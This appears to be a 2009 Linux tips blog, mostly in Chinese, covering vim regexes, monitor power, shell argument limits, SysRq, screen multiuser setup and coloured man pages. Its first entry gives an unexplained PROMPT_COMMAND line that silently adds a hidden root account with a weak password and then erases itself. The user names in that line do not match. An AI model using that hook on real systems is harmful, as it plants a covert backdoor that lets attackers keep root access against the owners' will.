2009年12月31日星期四

PROMPT_COMMAND

export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 kkoo &>/dev/null && echo ffoo:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"

2009年10月14日星期三

vim删除多行注释


:%s/\s*\(\/\*.\{-}\*\/\|\/\/.*$\)//g

2009年9月29日星期二

close monitor under Linux

In X:  

  xset dpms force off

 

In console: 

  if [ ${TERM} = "linux" ]; then

      setterm -blank 1 -powersave powerdown

  fi

 

These need ACPI support, you can use cmd:

  cat /proc/acpi/info

to verify this feature.

This cmd should show "version: 20081214" similar string.

2009年9月27日星期日

Argument list too long error in shell and solution

use cmd "getconf ARG_MAX" to get this limit

this macro is defined in "include/linux/limits.h"

 

solution:

1. 

find /path/ |xargs -n 100 rm

 

2. 

for fileset in a b c d e f g h i j k l m n o p q r s t v w x z
do
   /bin/rm $fileset*
done

 

3.

ls|xargs rm

 

4. modify kernel at "include/linux/binfmts.h"

#define MAX_ARG_PAGES 32      // modify 32 to larger

 

2009年9月13日星期日

nptl的问题

我的显卡是R300系列,用的开源ati驱动,glxgear跑不起来,3D游戏也不能玩。google了半天,说是去掉nptl这个USE,只好这样。重新emerge了一下,需要编译gcc、mesa、xorg-server这三个包。
弄完之后,glxgear了一下,2300多分,相当不错。马上打开glest,果然比较流畅。
查了下nptl,Enable support for Native POSIX Threads Library, the new threading module (requires linux-2.6 or better usually),这个怎么会影响显卡驱动效果呢?不解。

2009年9月11日星期五

Magic System Request

查看:cat /proc/sys/kernel/sysrq

设置:CONFIG_MAGIC_SYSRQ

R-E-I-S-U-B 这个序列的推荐使用方式是:R – 1 秒 – E – 30 秒 – I – 10 秒 – S – 5 秒 – U – 5 秒 – B,而不是一气呵成地按下这六个键

说明:

R - 把键盘设置为 ASCII 模式

E - 向除 init 以外所有进程发送 SIGTERM 信号

I - 向除 init 以外所有进程发送 SIGKILL 信号

S - 磁盘缓冲区同步

U - 重新挂载为只读模式

B - 立即重启系统

user & group command

newgrp: change primary group ID to exec command

sg group -c command: change group ID to exec command

vigr: edit /etc/group

vipw: edit /etc/passwd

groups: show groups of user

pwck: verify passwd file

grpck: verify group file

setfacl: set file acl

getfacl: get file acl

 

 

 

2009年9月4日星期五

screen的高级用法:multiuser

要使用multiuser模式,首先必须

# chmod u+s /usr/bin/screen

 

user1:

screen -S window1

Ctrl+a

:multiuser on

:acladd user2

:aclchg user -w "#"

Ctrl+a Ctrl+d

 

user2:

screen -r user1/window1

 

这样user1在屏幕上操作的步骤,user2就能看到了,而且user2去掉了"写"权限,他只能看user1操作,退出使用Ctrl+a Ctrl+d键。

 

2009年9月3日星期四

useful unix command

1. apropos         ;;lookup command

2. pgrep            ;;find process

3. pwgen           ;;generate secure password

4. multitail         ;;view multi files

5. zcat,zgrep,zless,zdiff     ;;operator compressed file directly, without uncompress them

2009年3月3日星期二

彩色的man pages

export PAGER="/usr/bin/less -s"
export BROWSER="$PAGER"

export LESS_TERMCAP_mb=$'\E[01;34m'
export LESS_TERMCAP_md=$'\E[01;34m'
export LESS_TERMCAP_me=$'\E[0m'
export LESS_TERMCAP_se=$'\E[0m'
export LESS_TERMCAP_so=$'\E[01;44;33m'
export LESS_TERMCAP_ue=$'\E[0m'
export LESS_TERMCAP_us=$'\E[01;33m'